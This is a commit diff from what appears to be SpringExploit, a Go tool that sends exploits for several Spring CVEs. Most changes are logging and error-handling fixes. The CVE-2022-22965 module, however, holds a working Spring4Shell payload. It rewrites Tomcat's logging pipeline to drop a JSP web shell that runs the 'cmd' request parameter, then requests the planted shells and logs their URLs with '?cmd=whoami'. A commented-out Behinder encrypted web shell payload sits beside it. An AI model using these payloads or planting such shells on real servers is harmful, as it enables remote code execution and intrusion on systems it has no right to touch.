Skip to content

Commit 300cb49

Browse files
SummerSecSummerSec
committed
CVE-2022-22965 检测更加准确 && 修复issue3中的问题 && 捕获返回包异常
1 parent 4a33c39 commit 300cb49

File tree

9 files changed

+73
-23
lines changed

9 files changed

+73
-23
lines changed

‎cmd/commons/attack/attack.go

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -33,12 +33,13 @@ func addPoc(pocs map[string]interface{}) map[string]interface{} {
3333
//pocs["demo"] = &poc.Demo{}
3434
pocs["CVE202222947"] = &_022.CVE202222947{}
3535
pocs["CVE202222963"] = &_022.CVE202222963{}
36-
pocs["CVE202126084"] = &_021.CVE202126084{}
3736
pocs["CVE202222965"] = &_022.CVE202222965{}
37+
pocs["CVE20221388"] = &_022.CVE20221388{}
3838

3939
// TODO 添加2021 poc
40-
pocs["CVE20221388"] = &_022.CVE20221388{}
4140
pocs["CVE202122986"] = &_021.CVE202122986{}
41+
pocs["CVE202126084"] = &_021.CVE202126084{}
42+
4243
return pocs
4344

4445
}
@@ -58,14 +59,14 @@ func attack(url string, pocs map[string]interface{}, hashmap map[string]interfac
5859
// 如果没有选定字符串 则默认所有pocs
5960
if len(pocsName) == 1 && pocsName[0] == "" {
6061
log.Info("[*] attack all pocs")
61-
for _, v := range pocs {
62-
log.Debugf("[*] attack poc %s", v)
62+
for k, v := range pocs {
63+
log.Infof("[*] attack %s poc %s", url, k)
6364
t := v.(poc.PoC)
6465
t.SendPoc(url, hashmap)
6566
}
6667
} else {
6768
for _, v := range pocsName {
68-
log.Info("[*] attack poc %s", v)
69+
log.Infof("[*] attack %s poc %s", url, v)
6970
if v != "" {
7071
t := pocs[v].(poc.PoC)
7172
t.SendPoc(url, hashmap)

‎cmd/commons/core/options.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,7 @@ func ParseOptions() *Options {
9696
options.Url = ""
9797
} else if options.SP {
9898
showPocsList()
99+
} else if options.Update {
99100
} else {
100101
//ShowBanner(v)
101102
flag.PrintDefaults()

‎cmd/commons/core/update.go

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ func selfUpdate() {
6868

6969
// 获取最新版本
7070
func getLatestVersion() {
71-
log.Info("Crrunent Version: ", version)
71+
log.Info("Crrunent Version : ", version)
7272
latestverion := getLatestVersionFromGithub()
7373
log.Infof("Latest Version: %s", latestverion)
7474
if strings.Compare(latestverion, version) > 0 {
@@ -88,18 +88,22 @@ func getLatestVersionFromGithub() string {
8888
}
8989
releases, err := m.LatestReleases()
9090
if err != nil {
91-
log.Error("Failed to get releases", err)
91+
log.Error("Failed to get releases ", err)
9292
return ""
9393
}
94-
latest := releases[0]
94+
if releases == nil {
95+
log.Info("No updates available")
96+
} else {
97+
return releases[0].Version
98+
}
9599

96100
defer func() {
97101
if errs := recover(); errs != nil {
98102
log.Error("Failed to get latest version", err)
99103
}
100104
}()
101105

102-
return latest.Version
106+
return releases[0].Version
103107

104108
//u := "https://api.github.com/repos/SummerSec/SpringExploit/releases/latest"
105109
//resp, _ := req.R().Get(u)

‎cmd/commons/poc/2021/CVE-2021-26084.go

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -63,17 +63,18 @@ func (CVE202126084) SaveResult(target string, file string) {
6363
}
6464

6565
func (CVE202126084) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
66-
if resp.IsSuccess() {
67-
log.Debugf(resp.Dump())
68-
return true
69-
}
7066
// 处理异常
7167
defer func() {
7268
if errs := recover(); errs != nil {
7369
log.Debug(errs)
7470
}
7571
}()
7672

73+
if resp.IsSuccess() {
74+
log.Debugf(resp.Dump())
75+
return true
76+
}
77+
7778
return false
7879

7980
}

‎cmd/commons/poc/2022/CVE-2022-22947.go

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -120,6 +120,12 @@ func (CVE202222947) init() {
120120

121121
// 检查是否成功
122122
func (p CVE202222947) CheckExp(resp *req.Response, url string, hashmap map[string]interface{}) bool {
123+
defer func() {
124+
if err := recover(); err != nil {
125+
log.Error("[-] CheckExp error: ", err)
126+
}
127+
}()
128+
log.Debug(resp)
123129
res := resp.Dump()
124130
file := hashmap["Out"].(string)
125131
y := utils.EncodeString("route_id")

‎cmd/commons/poc/2022/CVE-2022-22963.go

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -62,8 +62,11 @@ func (CVE202222963) init() {
6262
}
6363

6464
func (CVE202222963) SaveResult(target string, file string) {
65-
context := target + " 存在CVE-2022-22963漏洞"
66-
utils.SaveToFile(context, file)
65+
contexts := target + " 存在CVE-2022-22963漏洞"
66+
err := utils.SaveToFile(contexts, file)
67+
if err != nil {
68+
return
69+
}
6770
}
6871

6972
func (p CVE202222963) CheckExp(resp *req.Response, dnslog string, hashmap map[string]interface{}) bool {

‎cmd/commons/poc/2022/CVE-2022-22965.go

Lines changed: 32 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ type CVE202222965 struct{}
1515
const (
1616
body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
1717
context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
18-
//body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
19-
body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\source\\spring-framework-rce\\target\\spring_framework_rce-0.0.1-SNAPSHOT\\&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
18+
body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
19+
//body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\source\\spring-framework-rce\\target\\spring_framework_rce-0.0.1-SNAPSHOT\\&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
2020
// 添加 shell 文件名
2121
body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
2222
//behinder = "%25%7Bprefix%7Di%20%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%7Bsuffix%7Di%20%25%7Bprefix%7Di%20!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Di%20if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%7Bsuffix%7Di"
@@ -80,12 +80,30 @@ func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) {
8080
utils.Send(reqmap)
8181
// Changes take some time to populate on tomcat
8282
time.Sleep(time.Second * 3)
83+
if f == 1 {
8384

84-
r, _ := url.Parse(target)
85-
log.Info("[+] CVE202222965 poc success")
86-
res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
87-
log.Info(res)
88-
p.SaveResult(res, hashmap["Out"].(string))
85+
r, _ := url.Parse(target)
86+
log.Info("[+] CVE202222965 poc success")
87+
cmdshell := r.Scheme + "://" + r.Host + "/" + shellname + ".jsp"
88+
beichenshell := r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp"
89+
reqmap["url"] = cmdshell
90+
reqmap["method"] = "GET"
91+
reqmap["body"] = ""
92+
reqmap["headers"] = post_get_headers
93+
resp1 := utils.Send(reqmap)
94+
reqmap["url"] = beichenshell
95+
resp2 := utils.Send(reqmap)
96+
if resp1 != nil && resp2 != nil {
97+
if p.CheckExp(resp1, cmdshell, hashmap) && p.CheckExp(resp2, beichenshell, hashmap) {
98+
log.Info("[+] CVE202222965 poc success")
99+
res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp 哥斯拉 pass key "
100+
log.Info(res)
101+
p.SaveResult(res, hashmap["Out"].(string))
102+
}
103+
104+
}
105+
106+
}
89107

90108
// 第三个请求
91109
reqmap["method"] = "GET"
@@ -112,8 +130,15 @@ func (p CVE202222965) SaveResult(target string, file string) {
112130
}
113131

114132
func (p CVE202222965) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
133+
defer func() {
134+
if err := recover(); err != nil {
135+
log.Error("[-] CheckExp error: ", err)
136+
}
137+
}()
138+
115139
if resp.IsSuccess() {
116140
return true
117141
}
142+
118143
return false
119144
}

‎cmd/commons/poc/demo.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,11 @@ func (d Demo) SaveResult(target, file string) {
7171
}
7272

7373
func (d Demo) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool {
74+
defer func() {
75+
if err := recover(); err != nil {
76+
log.Error("[-] CheckExp error: ", err)
77+
}
78+
}()
7479
log.Debugf("[+] check exp")
7580
return false
7681
}

‎cmd/commons/utils/httpclient.go

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,11 @@ func Send(hashmap map[string]interface{}) (resp *req.Response) {
5959
log.Trace(err)
6060
}
6161
}()
62-
resp, _ = reqs.Send(method, url)
62+
resp, errs := reqs.Send(method, url)
63+
if resp == nil || errs != nil {
64+
log.Debug("requesting error: " + errs.Error())
65+
return nil
66+
}
6367
log.Trace(resp.String())
6468
log.Debugln("send request success")
6569
return resp

0 commit comments

Comments
 (0)